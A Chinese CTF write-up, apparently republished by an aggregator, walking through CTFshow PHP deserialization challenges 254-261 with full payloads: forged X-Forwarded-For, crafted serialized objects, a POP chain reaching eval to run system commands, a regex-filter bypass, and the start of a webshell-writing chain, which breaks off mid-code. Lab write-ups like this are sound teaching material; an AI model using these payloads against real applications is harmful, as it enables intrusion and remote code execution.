CTFshow刷题日记-WEB-反序列化篇(上,254-263)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-反序列化篇(上,254-263)相关的知识,希望对你有一定的参考价值。

非反序列化

web254-简单审计

这个题是搞笑的么🤣

按着源码顺序走一遍

......
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

接受两个参数,生成对象,调用 login 函数

# login 函数
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    ......
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    ......

payload

?username=xxxxxx&password=xxxxxx

web259-伪造请求

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

需要伪造 xff 头

这题和反序列化没关系。。。

然后去浏览器访问 /flag.txt

web260-正则匹配

题目源码

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以

<?php
class ctfshow_i_love_36D{
}

var_dump(urlencode(serialize(new ctfshow_i_love_36D())));
?>

payload

?ctfshow=O%3A18%3A"ctfshow_i_love_36D"%3A1%3A%7Bs%3A5%3A"isVip"%3Bb%3A1%3B%7D

简单反序列化

web255-简单序列化字符串构造

这次是通过反序列化 cookie 生成对象

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
?>

让 isVip 的值为 ture

去构造序列化,反序列化简单的题还是很简单的,因为方法在反序列化时没法保存,所以只能控制属性

<?php
class ctfShowUser{
    public $isVip=TRUE;
}

var_dump(serialize(new ctfShowUser()))
?>
    
# O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}   
# 分号需要 url 编码    

改变 cookie 的值,添加 user 字段,可以浏览器F12添加,也可以 burp 抓包添加

添加之后访问 url

/?username=xxxxxx&password=xxxxxx
cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}"

得到 flag

web256-简单序列化字符串构造

和上题的基本套路一致,不过 vipOneKeyGetFlag 函数发生了变化

	public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }

注意就是 username 的值和 password 的值不能相等,其实这点很好实现,因为反序列化后生成的 ctfShowUser 对象的属性是可以控制的,让 username 是任意字符串都可以

<?php
class ctfShowUser{
    public $username='anything';
    public $isVip=TRUE;}
}
var_dump(serialize(new ctfShowUser()))
?>
    
# O:11:"ctfShowUser":2:{s:8:"username";s:8:"anything";s:5:"isVip";b:1;}
# O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22anything%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D    

web257-魔法方法

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

魔法方法他来了,刚才说了方法不能被序列化,但是比如 __construct 魔法方法这种在生成对象时就被调用了,所以在构造序列化字符串时也要考虑

简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了

class ctfShowUser{
    # 没用到的都可以删掉
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    # 用到了,但是值无关紧要
    public $class = 'info';

    # 构造方法,创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作
    public function __construct(){
        $this->class=new info();
        # 因为代码执行函数在 backDoor 类,所以这里可以直接 $this->class=new backDoor();
    }
    # 不能序列化
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    # 析构方法,对象销毁时生效,所以无效
    public function __destruct(){
        $this->class->getInfo();
    }
}

# 没用到删去
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

# 要利用的类
class backDoor{
    # 关键点,code是可以控制的,code有可以执行代码,这里code=恶意代码
    public $code;
    # 方法不能序列化,删除
    public function getInfo(){
        eval($this->code);
    }
}

最终代码

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code='system("tac flag.php");';
    # 要执行的命令
}
var_dump(urlencode(serialize(new ctfShowUser())));
?>
    
# O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

payload

get访问 /?username=xxxxxx&password=xxxxxx
cookie:user=序列化后的字符串

web258-空格绕过正则

在上题的基础上添加了正则过滤

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

正则意思就是 O:数字 C:数字 等的这种情况不能出现,看下原来的 payload

O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("tac flag.php");";}}

可以在冒号后边加一个空格绕过正则

O%3A%2011%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22ctfShowUserclass%22%3BO%3A%208%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22backDoorcode%22%3Bs%3A23%3A%22system(%22tac%2Bflag.php%22)%3B%22%3B%7D%7D

POP链

web261-__unserialize函数

先上源码

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

整理下魔术方法

__construct	构造函数会在每次创建新对象时先调用
    
__wakeup    unserialize()函数执行时会检查是否存在一个 __wakeup 方法,如果存在,则先被调用
    
__invoke()	当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
    
__sleep		serialize()函数在执行时会检查是否存在一个`__sleep`魔术方法,如果存在,则先被调用
    
__destruct	析构函数是 php5 新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行
    
__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误
注意:
如果类中同时定义了 __serialize()__sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用
    
如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略

# __serialize 和 __unserialize 特性自 PHP 7.4.0 起可用    

因为存在 __unserialize 函数,所以在 get 传入 vip 的值反序列化时直接调用 __unserialize 而不是 __wakeup 函数

__invoke 方法存在中的 eval 函数,但是却无法利用,但是 __destruct 方法中存在任意文件写入,可以利用写入一句话木马

__unserialize函数中,code = username 的值拼接了 password 的值

$this->code = $this->username.$this->password;

__destruct 方法 比较了 code 的值,但是此处是双等号弱类型比较可以绕过

        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }

构造代码

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password以上是关于CTFshow刷题日记-WEB-反序列化篇(上,254-263)的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-SSTI(web361-372)

CTFshow刷题日记-MISC-图片篇(上)基础操作和信息附加

CTFshow刷题日记-WEB-SQL注入part1(171-184)

CTFSHOW web入门 java反序列化篇 web855

CTFSHOW web入门 java反序列化篇 web855

CTFshow刷题日记-WEB-文件包含